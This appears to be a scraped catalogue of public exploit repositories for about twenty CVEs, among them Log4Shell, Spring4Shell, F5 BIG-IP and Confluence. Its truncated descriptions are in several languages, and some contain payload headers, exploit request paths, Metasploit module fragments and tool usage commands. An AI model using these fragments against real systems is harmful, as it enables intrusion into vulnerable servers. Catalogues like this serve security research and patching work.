CVE-2019-7609-KibanaRCE

CVE-2019-7609-KibanaRCE В CVE были внесены незначительные изменения, чтобы сделать его совместимым с Python 3. cve-modific.py Вот внесённые изменения: В функции getkibanaversion строка match = re.findallpattern, r.content была обновлена до match = re.findallpattern, r.text. Это изменение было...

Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit

Microsoft-Office-Word-MSHTML-Exploit-d'exécution-de-code-à-distance CVE-2021-40444 EXPLOIT À UTILISER DANS METASPLOIT, PERMET AUX ATTAQUANTS D'OBTENIR UNE EXÉCUTION DE CODE À DISTANCE VIA MICROSOFT OFFICE WORD EN INJECTANT UN CODE MALVEILLANT DANS LE FICHIER...

CVE-2022-29464

CVE-2022-29464 تحميل ملف عشوائي دون مصادقة يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في WSO2 ملخص الثغرة CVE-2022-29464 هي ثغرة تنفيذ تعليمات برمجية عن بُعد RCE لـ WSO2 تم اكتشافها بواسطة Orange Tsai. تحميل ملف عشوائي دون مصادقة يسمح للمهاجم بتنفيذ تعليمات برمجية عن طريق تحميل ملف JSP ضار. الإصدارات...

CVE-2020-5902

CVE-2020-5902 Exécution de code à distance dans l'interface utilisateur de gestion du trafic TMUI F5 BIG-IP Dans les versions BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 et 11.6.1-11.6.5.1, l'interface utilisateur de gestion du trafic TMUI, également appelée utilitai...

go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset

CVE-2026-67822 — Débordement de tampon sur la pile de wifiSSIDset de la Tenda W6-S PoC PoC d'accompagnement pour l'article de Hunt-Benito « GO sans bornes : CVE-2026-67822 — débordement de pile dans le gestionnaire de formulairewifiSSIDset de la Tenda W6-S ». CVE-2026-67822 CVSS 9.8 Critique,...

nate158g-m-w-n-l-p-d-a-o-e

nate158g-m-w-n-l-p-d-a-o-e Ce module nécessite Metasploit : https://metasploit.com/download Source actuelle : https://github.com/rapid7/metasploit-framework class MetasploitModule 'Wordpress Popular Posts Authenticated RCE', 'Description' = %q This exploit requires Metasploit to have a FQDN and t...

CVE-2019-5475-Nexus-Repository-Manager-

CVE-2019-5475-Nexus-Repository-Manager- Payload PUT /nexus/service/siesta/capabilities/xxxxxxxxx HTTP/1.1 Host: xxxx.xxxx.com User-Agent: Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json Accept-Language:...

CVE-2025-6058

⚡ WPBookit = 1.0.4 - Téléchargement arbitraire de fichiers sans authentification 📝 Description Le plugin WPBookit pour WordPress est vulnérable au téléchargement arbitraire de fichiers en raison de l'absence de validation du type de fichier dans la fonction imageuploadhandle, qui est accrochée vi...

CVE-2024-28741-northstar-agent-rce-poc

NorthStar C2 에이전트 RCE 저장형 XSS CVE-2024-28741에 대한 에이전트 RCE PoC, NorthStar C2의 저장형 XSS 취약점. 이 익스플로잇은 여러 개의 악의적인 에이전트 등록 요청을 팀서버로 전송하여 로그 웹 페이지에 기능하는 자바스크립트 페이로드를 점진적으로 구축합니다. 이 XSS를 활용하여 NorthStar C2 에이전트에서 명령을 실행할 수 있습니다. 전체 설명:...

CVE-2020-9484

CVE-2020-9484 POC pour CVE-2020-9484 POC pour CVE-2020-9484 Apache Tomcat RCE par désérialisation CVE-2020-9484 Explorer la documentation » Pour commencer 1. Clonez ce dépôt, vous pourrez alors utiliser CVE-2020-9484 et modifier le code source si nécessaire. 2. Téléchargez ysoserial jar 3...

Spring4Shell

Spring RCE CVE-2022-22965 Environnement de la vulnérabilité Informations sur l'environnement springboot jdk11 tomcat9.0.30 payload Configuration des en-têtes "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", Données du corps de la requêt...

cve-2020-35717

CVE-2020–35717 zonote تسمح بـ XSS عبر ملاحظة مُصمَّمة، مما يؤدي إلى تنفيذ كود عن بُعد لأن تكامل Node.js مُفعَّل. خطوات استغلال الثغرة قم بتنزيل أي إصدار متأثر من zonote افتح تطبيق zonote استورد xss-rce.znt في zonote عبر القائمة فتح مرر الماوس فوق الروابط المختلفة في الملاحظات المستوردة الجدول...

CVE-2025-6058

🚨 CVE-2025-6058 — WordPress WPBookit ≤ 1.0.4 Exploitation de téléchargement de fichier non authentifié Exploit de téléchargement arbitraire de fichier non authentifié ciblant le plugin WPBookit pour WordPress ≤ 1.0.4 L'exploit permet le téléchargement distant d'un shell et l'exécution complète de...

exploit_laravel_cve-2018-15133

CVE-2018-15133 대상 Laravel 익스플로잇 이 코드는 CVE-2018-15133 취약점을 익스플로잇하며, kosmiz의 PoC와 이 취약점에 대한 Metasploit 익스플로잇을 기반으로 합니다. 저는 주로 Hack The Box의 머신을 위해 이 코드를 작성했습니다. 당시 Metasploit을 사용하고 싶지 않았고, Python 연습 핑계도 필요했기 때문입니다. CVE 설명: Laravel Framework 5.5.40 이하 및 5.6.x 5.6.29 이하 버전에서 잠재적으로 신뢰할 수 없는 X-XSRF-TOK...

CVE-2021-43503

Avertissement La vulnérabilité a été révoquée Override Ceci concerne CVE-2021-43503, je ne peux pas reproduire cette vulnérabilité via exp Prérequis PHP 7.1. Composer registrar=$b; namespace Illuminate\Queue\Capsule class Manager protected $manager; public function construct$c...

CVE-2021-44228-demo

log4j-shell-poc Доказательство концепции для недавно обнаруженной уязвимости CVE-2021-44228. Недавно была обнаружена новая уязвимость в log4j, библиотеке журналирования Java, которая широко используется в таких проектах, как elasticsearch, minecraft и многих других. В этом репозитории представлен...

CVE-2016-2098

CVE-2016-2098 Vulnérabilité d'exécution de code à distance dans Ruby-on-Rails lors de l'utilisation de render sur des données fournies par l'utilisateur. Explication : Ce problème provient de l'utilisation de la méthode render sur des données fournies par l'utilisateur. La méthode render est...

CVE-2022-26134

CVE-2022-26134 ATLASSIAN-Confluence RCE التثبيت git clone https://github.com/kelemaoya/CVE-2022-26134.git cd CVE-2022-26134 pip3 install -r requirements.txt الاستخدام URL واحد pocsuite -r ../CVE-2022-26134.py -u url --verify قائمة URL pocsuite -r ../CVE-2022-26134.py -f url.txt --verify إخلاء...

RCE_CVE-2024-7954

RCECVE-2024-7954 الوصف: المكون الإضافي porteplume المستخدم في SPIP قبل الإصدارات 4.30-alpha2 و4.2.13 و4.1.16 معرض لثغرة تنفيذ تعليمات برمجية عشوائية. يمكن لمهاجم عن بعد وغير مصادق تنفيذ PHP عشوائي باسم مستخدم SPIP عن طريق إرسال طلب HTTP مصمم. حرج الاستغلال: POST /index.php?action=porteplumeprevis...

CVE-2023-38646

CVE-2023-38646 Outils automatiques pour l'exploit RCE de Metabase connu sous le nom de CVE-2023-38646. Consultez https://secry.me/explore/news/metabase-rce-cve-2023-38646/ pour plus d'informations POC, Dork Comment utiliser single.py python3 single.py --url=http://127.0.0.1:8080 --command="curl...